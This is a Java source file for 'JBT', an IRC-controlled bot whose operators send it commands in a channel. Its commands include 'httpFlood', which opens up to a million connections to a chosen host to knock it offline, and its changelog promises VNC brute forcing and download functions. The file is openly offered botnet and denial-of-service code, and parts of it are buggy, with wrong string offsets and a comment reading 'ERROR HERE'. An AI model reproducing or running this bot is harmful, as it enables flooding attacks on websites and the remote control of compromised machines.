| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. 278. 279. 280. 281. 282. 283. 284. 285. 286. 287. 288. 289. 290. 291. 292. 293. 294. 295. 296. 297. 298. 299. 300. 301. 302. 303. 304. | /* * @ App Name : JBT * @ Version : 1.2.0 * @ Author : Affix * @ Contact : [email protected] * @ Website : http://ihack.co.uk * * @ Description : * JBT is an open source IRCBot Written by Affix * this bot will be updated by Affix frequently. * * @ Changelog * [+] V1.0.0-1.2.0 * [-] Added HTTP Flooder * [-] Added Visit Functions * * @ Coming Soon : * * [+] VNC Brute forcing * [+] Download Functions * [+] AUTH SYSTEM */ import java.io.*; import java.util.*; import java.net.*; import java.text.*; import javax.net.*; public class JBT { static String os = System.getProperty("os.name"); private static String host = "SERVER"; private static final int PORT = 6667; private static String nick = "JAVA|" + new Random().nextInt(1000) + 1; private static String pass = "joE-32"; private static String chan = "#java"; private static String chankey = "1234"; private static String prefix = "!"; private static String ver = "1.2.0"; private static String target; private static String local; public static String ipAddrStr = ""; /* DO NOT EDIT BELOW THIS LINE UNLESS YOU ARE 100% POSITIVE * YOU UNDERSTAND FULLY WHAT YOU ARE DOING */ public static void main(String[] args) { run(); } public static void run() { Socket link = null; try { Scanner inputFromMe = new Scanner(System.in); link = new Socket(host, PORT); sendRawLine("PASS pass", link); sendRawLine("USER "+nick+" 8 * "+nick, link); sendRawLine("NICK "+nick, link); sendRawLine("JOIN "+chan+" "+chankey, link); BufferedReader in = new BufferedReader(new InputStreamReader(link.getInputStream())); while(true) { try { SimpleDateFormat date = new SimpleDateFormat("(hh:mm:ss)"); String output = date.format(new Date()); String hai = in.readLine(); if (!hai.startsWith(":")) { System.out.println(output+" "+hai); } else if (hai.startsWith(":")) { String text = getText(hai); System.out.println(output+" ("+getSender(hai)+") "+text); if (text.startsWith(prefix + "")) { command(text, getSender(hai), link, getChannel(hai)); } } } catch (IOException e) { // No action } } } catch(IOException e) { e.printStackTrace(); } finally { try { link.close(); } catch(IOException ex) { System.err.println("Failed to close Socket!"); System.exit(1); } } } public static void sendNotice(String text, String person, Socket link) { sendRawLine("NOTICE "+person+" :"+text, link); } public static void command(String command, String sender, Socket link, String channel) { Socket net = null; if (command.startsWith(prefix + "send")) { sendMessage(command.substring(6), link); } if (command.startsWith(prefix + "csend")) { int x = command.indexOf(" "); int y = command.indexOf(" ", x+1); String chan = command.substring(x+1,y); String message = command.substring(y+1); sendMessage(chan, message, link); } if (command.startsWith(prefix + "join")) { sendRawLine("JOIN :"+command.substring(6), link); } if (command.startsWith(prefix + "part")) { sendRawLine("PART :"+command.substring(6), link); } if (command.startsWith(prefix + "notice")) { int x = -1; int y = -1; x= command.indexOf(" "); y= command.indexOf(" ", x+1); if (x != -1 && y != -1) sendNotice(command.substring(y+1), command.substring(x+1, y), link); } if (command.startsWith(prefix + "ping")) { sendRawLine("PING :"+command.substring(6), link); } if (command.startsWith(prefix + "version")) { sendRawLine("PRIVMSG " + chan + " : JBT Verison " + ver + " Written By Affix @ ihack.co.uk", link); } if (command.startsWith(prefix + "reverse")) { StringBuffer buffed = new StringBuffer(command.substring(8)).reverse(); String ra = buffed.toString(); sendRawLine("PRIVMSG " + chan + ":"+ra, link); } if (command.startsWith(prefix + "rawSender")) { sendRawLine(command.substring(11), link); } // ERROR HERE if (command.startsWith(prefix + "httpFlood")) { //HTTP Flood a Site target = command.substring(6); for(int i=1; i<1000000; i++){ //HTTP FLOOD CODE HERE try { net = new Socket(target, 80); sendRawLine("GET / HTTP/1.1", net); sendRawLine("Host: " + target, net); sendRawLine("Connection: close", net); } catch(UnknownHostException e) { //NO ACTION } catch(IOException e) { //NO ACTION } } sendRawLine("PRIVMSG " + chan + " : Flooding Completed to " + target, link); } if (command.startsWith(prefix + "test")) { int x = command.indexOf(" "); int y = command.indexOf(" ", x+1); String type = command.substring(x+1, y); String msg = command.substring(y+1); int type2 = Integer.parseInt(type); if(x > 0 && y > 0) { sendMessage(type2+msg, link); } } if (command.startsWith(prefix + "visit")) { target = command.substring(6); try { net = new Socket(target, 80); sendRawLine("GET / HTTP/1.1", net); sendRawLine("Host: " + target, net); sendRawLine("Connection: close", net); } catch(UnknownHostException e) { //NO ACTION } catch(IOException e) { //NO ACTION } sendRawLine("PRIVMSG " + chan + " : Visited Link : " + target, link); } if (command.equalsIgnoreCase(prefix + "commands")) { sendNotice(prefix + "notice name message", sender, link); sendNotice(prefix + "send message", sender, link); sendNotice(prefix + "reverse message", sender, link); //sendNotice("", sender, link); } if (command.equalsIgnoreCase(prefix + "shutdown")) { sendRawLine("QUIT :BAI", link); } if (command.startsWith(prefix + "setName")) { sendRawLine("NICK "+command.substring(9), link); } } public static String getChannel(String rawtext) { String text = rawtext; int space1 = rawtext.indexOf(" "); int space2 = -1; space2 = rawtext.indexOf(" ", space1+1); int space3 = -1; space3 = rawtext.indexOf(" ", space2+1); if (space2 != -1 && space3 != -1) { text = rawtext.substring(space2+1, space3); } if (space2 == -1 && space3 == -1) { text = rawtext; } return text; } public static void sendMessage(String text, Socket link) { sendRawLine("PRIVMSG " + chan + " :"+text, link); } public static void sendMessage(String channel, String text, Socket link) { sendRawLine("PRIVMSG " + chan + " :"+text, link); } public static String getText(String rawtext) { String text = rawtext; int space1 = rawtext.indexOf(":"); int space2 = -1; space2 = rawtext.indexOf(":", space1+1); if (space2 != -1) { text = rawtext.substring(space2+1); } if (space2 == -1) { text = rawtext; } return text; } public static String getSender(String rawtext) { String text = rawtext; int colon1 = rawtext.indexOf(":"); int exclamation1 = -1; exclamation1 = rawtext.indexOf(prefix + "", colon1+1); if (exclamation1 != -1) { text = rawtext.substring(colon1+1, exclamation1); } else if (exclamation1 == -1) { text = rawtext; } return text; } public static void sendRawLine(String text, Socket sock) { try { BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream())); out.write(text+"\n"); out.flush(); } catch(IOException ex) { ex.printStackTrace(); } }; } |